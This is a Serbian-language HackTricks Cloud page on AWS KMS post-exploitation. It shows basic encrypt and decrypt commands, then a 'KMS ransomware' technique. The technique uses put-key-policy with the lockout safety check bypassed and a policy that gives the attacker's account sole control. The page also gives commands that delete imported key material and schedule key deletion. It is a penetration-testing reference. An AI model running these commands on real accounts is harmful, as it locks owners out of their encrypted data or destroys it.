Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md
T

4.2 KiB

AWS - KMS Post Exploitation

{{#include ../../../banners/hacktricks-training.md}}

KMS

Za više informacija pogledajte:

{{#ref}} ../aws-services/aws-kms-enum.md {{#endref}}

Enkriptovanje/Dekriptovanje informacija

fileb:// i file:// su URI sheme koje se koriste u AWS CLI komandama za specificiranje puta do lokalnih fajlova:

  • fileb://: Čita fajl u binarnom režimu, obično se koristi za ne-tekstualne fajlove.
  • file://: Čita fajl u tekstualnom režimu, obično se koristi za obične tekstualne fajlove, skripte ili JSON koji nemaju posebne zahteve za kodiranje.

Tip

Imajte na umu da ako želite da dekriptujete neke podatke unutar fajla, fajl mora sadržati binarne podatke, a ne base64 kodirane podatke. (fileb://)

  • Koristeći simetrični ključ
# Encrypt data
aws kms encrypt \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
--output text \
--query Plaintext | base64 \
--decode
  • Korišćenje asimetričnog ključa:
# Encrypt data
aws kms encrypt \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--plaintext fileb:///tmp/hello.txt \
--output text \
--query CiphertextBlob | base64 \
--decode > ExampleEncryptedFile

# Decrypt data
aws kms decrypt \
--ciphertext-blob fileb://ExampleEncryptedFile \
--encryption-algorithm RSAES_OAEP_SHA_256 \
--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
--output text \
--query Plaintext | base64 \
--decode

KMS Ransomware

Napadač sa privilegovanim pristupom KMS-u može da izmeni KMS politiku ključeva i dodeli svom nalogu pristup tim ključevima, uklanjajući pristup koji je dodeljen legitimnom nalogu.

Tada korisnici legitimnog naloga neće moći da pristupe bilo kojim informacijama bilo koje usluge koja je enkriptovana tim ključevima, stvarajući jednostavan, ali efikasan ransomware nad nalogom.

Warning

Imajte na umu da AWS upravljani ključevi nisu pogođeni ovim napadom, samo Klijentski upravljani ključevi.

Takođe imajte na umu potrebu da koristite parametar --bypass-policy-lockout-safety-check (nedostatak ove opcije u web konzoli čini ovaj napad mogućim samo iz CLI-a).

# Force policy change
aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
--policy-name default \
--policy file:///tmp/policy.yaml \
--bypass-policy-lockout-safety-check

{
"Id": "key-consolepolicy-3",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<your_own_account>:root"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

Caution

Imajte na umu da ako promenite tu politiku i omogućite pristup samo eksternom nalogu, a zatim iz ovog eksternog naloga pokušate da postavite novu politiku da ponovo omogućite pristup originalnom nalogu, nećete moći.

Generički KMS Ransomware

Globalni KMS Ransomware

Postoji još jedan način da se izvrši globalni KMS Ransomware, koji bi uključivao sledeće korake:

  • Kreirajte novi ključ sa ključnim materijalom koji je uvezen od strane napadača
  • Ponovo enkriptujte starije podatke enkriptovane prethodnom verzijom sa novom.
  • Obrišite KMS ključ
  • Sada samo napadač, koji ima originalni ključni materijal, može dekriptovati enkriptovane podatke

Uništavanje ključeva

# Destoy they key material previously imported making the key useless
aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab

# Schedule the destoy of a key (min wait time is 7 days)
aws kms schedule-key-deletion \
--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
--pending-window-in-days 7

Caution

Imajte na umu da AWS sada sprečava prethodne radnje da se izvrše iz druge naloge:

{{#include ../../../banners/hacktricks-training.md}}